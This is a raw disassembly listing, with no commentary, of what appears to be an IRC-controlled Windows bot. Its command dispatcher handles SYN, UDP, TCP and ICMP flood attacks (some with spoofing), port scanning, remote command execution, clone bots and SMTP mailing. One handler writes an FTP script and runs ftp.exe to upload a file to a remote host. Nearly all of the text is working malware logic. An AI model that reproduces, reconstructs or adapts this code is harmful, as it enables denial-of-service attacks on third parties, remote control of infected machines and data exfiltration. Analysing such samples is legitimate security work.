push [ebp+var_4] ; int
mov esi, [ebp+esi+var_88]
cmp esi, ebx
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
jz short loc_411040
push esi
push eax
push ebx
jmp short loc_411044
; ---------------------------------------------------------------------------
loc_411040: ; CODE XREF: sub_40EE51+21E8j
push ebx ; int
push eax ; int
push 2 ; int
loc_411044: ; CODE XREF: sub_40EE51+21D1j
; sub_40EE51+21EDj
call sub_40DE05
push eax
lea eax, [ebp+Dst]
push offset aS_1 ; "%s"
push eax ; Dest
call _sprintf
add esp, 24h
jmp loc_4110E5
; ---------------------------------------------------------------------------
loc_411063: ; CODE XREF: sub_40EE51+21B7j
push ebx ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40E319
add esp, 10h
test eax, eax
jz short loc_411083
push offset dword_4367A4
jmp short loc_4110D7
; ---------------------------------------------------------------------------
loc_411083: ; CODE XREF: sub_40EE51+2229j
push offset dword_436778
jmp short loc_4110D7
; ---------------------------------------------------------------------------
loc_41108A: ; CODE XREF: sub_40EE51+21ACj
push edi ; Str2
push offset aSend ; "send"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4110D2
cmp [ebp+Str1], ebx
jz short loc_4110CB
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
push [ebp+Src] ; Source
call sub_40E5CD
push eax
lea eax, [ebp+Dst]
push offset aS_1 ; "%s"
push eax ; Dest
call _sprintf
add esp, 1Ch
jmp short loc_4110E5
; ---------------------------------------------------------------------------
loc_4110CB: ; CODE XREF: sub_40EE51+224Dj
push offset dword_436748
jmp short loc_4110D7
; ---------------------------------------------------------------------------
loc_4110D2: ; CODE XREF: sub_40EE51+2248j
push offset dword_43671C ; Format
loc_4110D7: ; CODE XREF: sub_40EE51+2027j
; sub_40EE51+20ABj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4110E5: ; CODE XREF: sub_40EE51+202Fj
; sub_40EE51+2089j ...
cmp [ebp+var_8], ebx
jnz short loc_411106
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
loc_411106: ; CODE XREF: sub_40EE51+2297j
; sub_40EE51+4848j ...
mov esi, [ebp+File]
loc_411109: ; CODE XREF: sub_40EE51+9A7j
; sub_40EE51+4B23j ...
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
pop ecx
mov eax, esi
jmp loc_40F218
; ---------------------------------------------------------------------------
loc_41111D: ; CODE XREF: sub_40EE51+200Cj
push [ebp+arg_8] ; Str2
push offset aCom_capture ; "com.capture"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4133E1
push [ebp+arg_8] ; Str2
push offset aCom_cap ; "com.cap"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4133E1
push [ebp+arg_8] ; Str2
push offset aIrc_gethost ; "irc.gethost"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4132FD
push [ebp+arg_8] ; Str2
push offset aIrc_gh ; "irc.gh"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4132FD
mov eax, [ebp+esi+Format]
cmp eax, ebx
mov [ebp+Str1], eax
jz loc_40F215
push [ebp+arg_8] ; Str2
push offset aIrc_addalias ; "irc.addalias"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4132BE
push [ebp+arg_8] ; Str2
push offset aIrc_aa ; "irc.aa"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4132BE
push [ebp+arg_8] ; Str2
push offset aIrc_privmsg ; "irc.privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41326B
push [ebp+arg_8] ; Str2
push offset aIrc_pm ; "irc.pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41326B
push [ebp+arg_8] ; Str2
push offset aIrc_action ; "irc.action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4131FD
push [ebp+arg_8] ; Str2
push offset aIrc_ac ; "irc.ac"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4131FD
push [ebp+arg_8] ; Str2
push offset aIrc_cycle ; "irc.cycle"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41319A
push [ebp+arg_8] ; Str2
push offset aIrc_cy ; "irc.cy"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41319A
push [ebp+arg_8] ; Str2
push offset aIrc_mode ; "irc.mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41315B
push [ebp+arg_8] ; Str2
push offset aIrc_m ; "irc.m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41315B
push [ebp+arg_8] ; Str2
push offset aClone_raw ; "clone.raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4130F0
push [ebp+arg_8] ; Str2
push offset aClone_ra ; "clone.ra"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4130F0
push [ebp+arg_8] ; Str2
push offset aClone_mode ; "clone.mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41306E
push [ebp+arg_8] ; Str2
push offset aClone_m ; "clone.m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41306E
push [ebp+arg_8] ; Str2
push offset aClone_nick ; "clone.nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412FFD
push [ebp+arg_8] ; Str2
push offset aClone_ni ; "clone.ni"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412FFD
push [ebp+arg_8] ; Str2
push offset aClone_join ; "clone.join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412FD7
push [ebp+arg_8] ; Str2
push offset aClone_j ; "clone.j"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412FD7
push [ebp+arg_8] ; Str2
push offset aClone_part ; "clone.part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412F74
push [ebp+arg_8] ; Str2
push offset aClone_p ; "clone.p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412F74
push [ebp+arg_8] ; Str2
push offset aIrc_repeat ; "irc.repeat"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412EAE
push [ebp+arg_8] ; Str2
push offset aIrc_rp ; "irc.rp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412EAE
push [ebp+arg_8] ; Str2
push offset aIrc_delay ; "irc.delay"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412E13
push [ebp+arg_8] ; Str2
push offset aIrc_de ; "irc.de"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412E13
push [ebp+arg_8] ; Str2
push offset aUp50 ; "up50"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412C95
push [ebp+arg_8] ; Str2
push offset aUp50 ; "up50"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412C95
push [ebp+arg_8] ; Str2
push offset aCom_execute ; "com.execute"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412C02
push [ebp+arg_8] ; Str2
push offset aCom_e ; "com.e"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412C02
push [ebp+arg_8] ; Str2
push offset aFindfile ; "findfile"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412B04
push [ebp+arg_8] ; Str2
push offset aFf ; "ff"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412B04
push [ebp+arg_8] ; Str2
push offset aCom_rename ; "com.rename"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412AB3
push [ebp+arg_8] ; Str2
push offset aCom_mv ; "com.mv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412AB3
push [ebp+arg_8] ; Str2
push offset aDdos_icmp ; "ddos.icmp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4129B8
push [ebp+arg_8] ; Str2
push offset aDdos_ic ; "ddos.ic"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4129B8
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+Src], eax
jz loc_40F215
push [ebp+arg_8] ; Str2
push offset aClone_make ; "clone.make"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4128CD
push [ebp+arg_8] ; Str2
push offset aClone_start ; "clone.start"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4128CD
push [ebp+arg_8] ; Str2
push offset Str2 ; "ddos.syn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4127C8
push [ebp+arg_8] ; Str2
push offset aDdos_ack ; "ddos.ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4127C8
push [ebp+arg_8] ; Str2
push offset aDdos_random ; "ddos.random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4127C8
push [ebp+arg_8] ; Str2
push offset aDdos_synflood ; "ddos.synflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4126CA
push [ebp+arg_8] ; Str2
push offset aDdos_synf ; "ddos.synf"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4126CA
push [ebp+arg_8] ; Str2
push offset aVSt4w1n ; "v!st4w1n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41258C
push [ebp+arg_8] ; Str2
push offset aVSt4wN ; "v!st4w!n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41258C
push [ebp+arg_8] ; Str2
push offset aDaemon_redirec ; "daemon.redirect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412492
push [ebp+arg_8] ; Str2
push offset aDaemon_rd ; "daemon.rd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412492
push [ebp+arg_8] ; Str2
push offset aRoot_portscan ; "root.portscan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41239F
push [ebp+arg_8] ; Str2
push offset aRoot_ps ; "root.ps"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41239F
push [ebp+arg_8] ; Str2
push offset aClone_privmsg ; "clone.privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4122CA
push [ebp+arg_8] ; Str2
push offset aClone_pm ; "clone.pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4122CA
push [ebp+arg_8] ; Str2
push offset aClone_action ; "clone.action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4121B5
push [ebp+arg_8] ; Str2
push offset aClone_ac ; "clone.ac"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4121B5
mov eax, dword ptr [ebp+esi+Args]
cmp eax, ebx
mov [ebp+Source], eax
jz loc_40F215
push [ebp+arg_8] ; Str2
push offset aRoot_start ; "root.start"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411E5C
push [ebp+arg_8] ; Str2
push offset aRoot_s ; "root.s"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411E5C
push [ebp+arg_8] ; Str2
push offset aDdos_udpflood ; "ddos.udpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411D3C
push [ebp+arg_8] ; Str2
push offset aDdos_udpf ; "ddos.udpf"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411D3C
push [ebp+arg_8] ; Str2
push offset aU_0 ; "u"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411D3C
push [ebp+arg_8] ; Str2
push offset aDdos_pingflood ; "ddos.pingflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411BFB
push [ebp+arg_8] ; Str2
push offset aDdos_pingf ; "ddos.pingf"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411BFB
push [ebp+arg_8] ; Str2
push offset aP_0 ; "p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411BFB
push [ebp+arg_8] ; Str2
push offset aDdos_tcpflood ; "ddos.tcpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411A68
push [ebp+arg_8] ; Str2
push offset aDdos_tcpf ; "ddos.tcpf"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411A68
push [ebp+arg_8] ; Str2
push offset aUtil_email ; "util.email"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4118A5
lea eax, [ebp+var_3F8]
push edi ; Source
push eax ; Dest
call _strcpy
push [ebp+Str1] ; Str
call _atoi
push [ebp+Src] ; Source
mov [ebp+Str1], eax
lea eax, [ebp+var_DB0]
push eax ; Dest
call _strcpy
push [ebp+Source] ; Source
lea eax, [ebp+var_BA8]
push eax ; Dest
call _strcpy
push offset asc_4293B4 ; " "
push offset a__0 ; "_"
push [ebp+esi+var_80] ; Src
call sub_40A7D2
push eax ; Source
lea eax, [ebp+var_55C]
push eax ; Dest
call _strcpy
add esp, 30h
lea eax, [ebp+var_6EC]
push eax
push 101h
call ds:dword_43C590 ; WSAStartup
lea eax, [ebp+var_3F8]
push eax
call ds:dword_43C69C ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call ds:dword_43C698 ; socket
push [ebp+Str1]
mov esi, eax
mov [ebp+var_2EC], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+Drive], eax
call ds:dword_43C618 ; htons
mov [ebp+var_2EA], ax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_BA8]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_15B0]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax ; Dest
call _sprintf
add esp, 1Ch
lea eax, [ebp+var_2EC]
push 10h
push eax
push esi
call ds:dword_43C5C0 ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call ds:dword_43C630 ; recv
lea eax, [ebp+var_CAC]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_15B0]
push eax
push esi
call ds:dword_43C668 ; send
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call ds:dword_43C630 ; recv
push esi
call ds:dword_43C6B0 ; closesocket
call ds:dword_43C578 ; WSACleanup
lea eax, [ebp+var_BA8]
push eax
push offset unk_4363E0 ; Format
loc_411891: ; CODE XREF: sub_40EE51+3B62j
; sub_40EE51+3E3Fj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_413A2F
; ---------------------------------------------------------------------------
loc_4118A5: ; CODE XREF: sub_40EE51+28EAj
push [ebp+arg_8] ; Str2
push offset aUtil_httpcon ; "util.httpcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411A3A
push [ebp+arg_8] ; Str2
push offset aUtil_hcon ; "util.hcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_411A3A
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40F215
push [ebp+arg_8] ; Str2
push offset aFtp_upload ; "ftp.upload"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_414F3C
push 4
push esi
call sub_40D000
pop ecx
test eax, eax
pop ecx
jnz short loc_41190F
push esi
push offset dword_436388
jmp loc_413BD1
; ---------------------------------------------------------------------------
loc_41190F: ; CODE XREF: sub_40EE51+2AB1j
call ds:dword_423054 ; GetTickCount
push eax
call sub_4172EE
pop ecx
call _rand
push 9
cdq
pop ecx
idiv ecx
push edx
call _rand
push 63h
cdq
pop ecx
idiv ecx
push edx
call _rand
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_CB0]
push edx
push eax
lea eax, [ebp+Filename]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax ; Dest
call _sprintf
lea eax, [ebp+Filename]
push offset Mode ; "ab"
push eax ; Filename
call _fopen
add esp, 20h
cmp eax, ebx
mov [ebp+File], eax
jz loc_40F215
push esi
push [ebp+Source]
push [ebp+Src]
push [ebp+Str1]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax ; File
call _fprintf
push [ebp+File] ; File
call _fclose
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+var_3F8]
push offset aSS_5 ; "-s:%s"
push eax ; Dest
call _sprintf
add esp, 2Ch
lea eax, [ebp+var_3F8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call ds:dword_43C58C
test eax, eax
push edi
push esi ; Format
jz short loc_4119D9
push offset dword_436310
jmp short loc_4119DE
; ---------------------------------------------------------------------------
loc_4119D9: ; CODE XREF: sub_40EE51+2B7Fj
push offset dword_4362D4 ; Dest
loc_4119DE: ; CODE XREF: sub_40EE51+2B86j
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_411A07
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
loc_411A07: ; CODE XREF: sub_40EE51+2B98j
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
loc_411A13: ; CODE XREF: sub_40EE51+2BE7j
lea eax, [ebp+Filename]
push 4
push eax
call sub_40D000
add esp, 0Ch
test eax, eax
jz loc_40F215
lea eax, [ebp+Filename]
push eax
call sub_4199AA
jmp short loc_411A13
; ---------------------------------------------------------------------------
loc_411A3A: ; CODE XREF: sub_40EE51+2A65j
; sub_40EE51+2A7Cj
push [ebp+esi+var_80]
push [ebp+Source]
push [ebp+Src]
push [ebp+Str1] ; Str
call _atoi
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
call sub_406AEA
jmp loc_414F39
; ---------------------------------------------------------------------------
loc_411A68: ; CODE XREF: sub_40EE51+28BCj
; sub_40EE51+28D3j
mov esi, 80h
push edi ; Format
lea eax, [ebp+var_678]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_678]
push eax ; Str2
push offset aSyn ; "syn"
call _strcmp
add esp, 14h
test eax, eax
jz short loc_411ACB
lea eax, [ebp+var_678]
push eax ; Str2
push offset aAck ; "ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_411ACB
lea eax, [ebp+var_678]
push eax ; Str2
push offset aRandom ; "random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_411ACB
push offset dword_43629C
jmp loc_4145B5
; ---------------------------------------------------------------------------
loc_411ACB: ; CODE XREF: sub_40EE51+2C40j
; sub_40EE51+2C57j ...
push [ebp+Source] ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_411BF1
push edi ; Format
lea eax, [ebp+var_678]
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+Str1] ; Format
lea eax, [ebp+var_6F8]
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+Src] ; Str
call _atoi
mov [ebp+var_574], eax
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+Format] ; Format
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_56C], ebx
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_411B62
mov eax, offset aNormal ; "Normal"
loc_411B62: ; CODE XREF: sub_40EE51+2D0Aj
push [ebp+Source]
push [ebp+Src]
push [ebp+Str1]
push edi
push eax
push offset dword_436248 ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Ch ; int
push eax ; Source
call sub_416D48
add esp, 2Ch
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_401D79
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_411BE0
loc_411BCA: ; CODE XREF: sub_40EE51+2D8Dj
cmp [ebp+var_560], ebx
jnz loc_4145C3
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_411BCA
; ---------------------------------------------------------------------------
loc_411BE0: ; CODE XREF: sub_40EE51+2D77j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_436200
jmp loc_413BD1
; ---------------------------------------------------------------------------
loc_411BF1: ; CODE XREF: sub_40EE51+2C8Bj
push offset dword_4361B8
jmp loc_4145B5
; ---------------------------------------------------------------------------
loc_411BFB: ; CODE XREF: sub_40EE51+2877j
; sub_40EE51+288Ej ...
cmp ds:dword_43C708, ebx
mov esi, [ebp+arg_4]
jnz loc_411D03
mov eax, [ebp+var_8]
push 7Fh ; Count
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Str1] ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_318], eax
call _atoi
push [ebp+Source] ; Str
mov [ebp+var_314], eax
call _atoi
push 7Fh ; Count
mov [ebp+var_310], eax
push [ebp+Format] ; Source
lea eax, [ebp+var_418]
push eax ; Dest
call _strncpy
push [ebp+var_310]
lea eax, [ebp+var_398]
mov [ebp+var_41C], esi
push [ebp+var_314]
push eax
lea eax, [ebp+Dst]
push [ebp+var_318]
push offset unk_436160 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Eh ; int
push eax ; Source
call sub_416D48
add esp, 48h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40AF81
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_411CF2
loc_411CE0: ; CODE XREF: sub_40EE51+2E9Fj
cmp [ebp+var_2FC], ebx
jnz short loc_411D1C
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_411CE0
; ---------------------------------------------------------------------------
loc_411CF2: ; CODE XREF: sub_40EE51+2E8Dj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_436118
jmp loc_4128BC
; ---------------------------------------------------------------------------
loc_411D03: ; CODE XREF: sub_40EE51+2DB3j
push 1FFh ; Count
lea eax, [ebp+Dst]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax ; Dest
call _strncpy
loc_411D19: ; CODE XREF: sub_40EE51+3A77j
add esp, 0Ch
loc_411D1C: ; CODE XREF: sub_40EE51+2E95j
; sub_40EE51+2FEAj ...
cmp [ebp+var_8], ebx
jnz loc_414DFC
push ebx
push [ebp+var_4]
loc_411D29: ; CODE XREF: sub_40EE51+565Ej
lea eax, [ebp+Dst]
push eax
push [ebp+Format]
push esi
jmp loc_4145E0
; ---------------------------------------------------------------------------
loc_411D3C: ; CODE XREF: sub_40EE51+2832j
; sub_40EE51+2849j ...
mov eax, [ebp+var_8]
push 7Fh ; Count
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Str1] ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_318], eax
call _atoi
push [ebp+Source] ; Str
mov [ebp+var_314], eax
call _atoi
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_310], eax
jz short loc_411DA1
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_30C], eax
jmp short loc_411DA7
; ---------------------------------------------------------------------------
loc_411DA1: ; CODE XREF: sub_40EE51+2F3Fj
mov [ebp+var_30C], ebx
loc_411DA7: ; CODE XREF: sub_40EE51+2F4Ej
push 7Fh ; Count
lea eax, [ebp+var_418]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
push [ebp+var_310]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_398]
mov [ebp+var_41C], esi
push [ebp+var_314]
push eax
lea eax, [ebp+Dst]
push [ebp+var_318]
push offset dword_4360A8 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Fh ; int
push eax ; Source
call sub_416D48
add esp, 30h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40B10D
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_411E4B
loc_411E35: ; CODE XREF: sub_40EE51+2FF8j
cmp [ebp+var_2FC], ebx
jnz loc_411D1C
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_411E35
; ---------------------------------------------------------------------------
loc_411E4B: ; CODE XREF: sub_40EE51+2FE2j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_436060
jmp loc_4128BC
; ---------------------------------------------------------------------------
loc_411E5C: ; CODE XREF: sub_40EE51+2804j
; sub_40EE51+281Bj
push 8
call sub_416F90
push [ebp+Str1] ; Str
mov [ebp+arg_8], eax
call _atoi
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 258h
jle short loc_411EAF
push [ebp+arg_8]
lea eax, [ebp+Dst]
push offset unk_436014 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
loc_411EA7: ; CODE XREF: sub_40EE51+4468j
add esp, 20h
jmp loc_414F3C
; ---------------------------------------------------------------------------
loc_411EAF: ; CODE XREF: sub_40EE51+3027j
push edi ; Str
call _atoi
push [ebp+Str1] ; Str
mov [ebp+var_330], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_318], eax
call _atoi
add esp, 0Ch
cmp eax, 5
mov [ebp+var_32C], eax
jnb short loc_411EE8
push 5
pop eax
mov [ebp+var_32C], eax
loc_411EE8: ; CODE XREF: sub_40EE51+308Cj
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_411EF5
mov [ebp+var_32C], ecx
loc_411EF5: ; CODE XREF: sub_40EE51+309Cj
push [ebp+Source] ; Str
call _atoi
mov [ebp+var_328], eax
mov eax, 320h
cmp [ebp+var_328], eax
pop ecx
jbe short loc_411F17
mov [ebp+var_328], eax
loc_411F17: ; CODE XREF: sub_40EE51+30BEj
or [ebp+var_314], 0FFFFFFFFh
cmp ds:dword_429CB0, ebx
mov [ebp+Src], ebx
jz short loc_411F6D
mov [ebp+File], offset dword_429CB0
loc_411F30: ; CODE XREF: sub_40EE51+30FEj
mov eax, [ebp+File]
push edi ; Str2
add eax, 0FFFFFFD8h
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_411F53
add [ebp+File], 3Ch
inc [ebp+Src]
mov eax, [ebp+File]
cmp [eax], ebx
jnz short loc_411F30
jmp short loc_411F6D
; ---------------------------------------------------------------------------
loc_411F53: ; CODE XREF: sub_40EE51+30F0j
mov eax, [ebp+Src]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, ds:dword_429CB0[ecx]
mov [ebp+var_330], ecx
loc_411F6D: ; CODE XREF: sub_40EE51+30D6j
; sub_40EE51+3100j
cmp [ebp+var_330], ebx
jz loc_414001
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+Str1], edi
jz short loc_411FB4
cmp byte ptr [edi], 23h
jz short loc_411FB4
push edi ; Format
lea eax, [ebp+var_444]
push 10h ; Count
push eax ; Dest
call __snprintf
push 78h ; Val
push edi ; Str
call _strchr
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_304], eax
jmp loc_412088
; ---------------------------------------------------------------------------
loc_411FB4: ; CODE XREF: sub_40EE51+3131j
; sub_40EE51+3136j
cmp [ebp+var_9C7], bl
jnz short loc_411FD6
cmp [ebp+var_9C6], bl
jnz short loc_411FD6
cmp [ebp+var_9B6], bl
jnz short loc_411FD6
push offset unk_435FD0
jmp loc_4145B5
; ---------------------------------------------------------------------------
loc_411FD6: ; CODE XREF: sub_40EE51+3169j
; sub_40EE51+3171j ...
push 10h
lea eax, [ebp+Src]
pop edi
push eax
lea eax, [ebp+var_2EC]
push eax
mov [ebp+Src], edi
push [ebp+arg_4]
call ds:dword_43C5BC ; getsockname
mov al, [ebp+var_9C7]
push edi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+Drive], eax
push [ebp+Drive] ; Count
call ds:dword_43C6A4 ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_444]
push eax ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_9B6], bl
jz short loc_412082
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_444]
push eax ; Str
call _strrchr
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+File+3], bl
jle short loc_412076
loc_412054: ; CODE XREF: sub_40EE51+3223j
cmp eax, ebx
jz short loc_412076
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
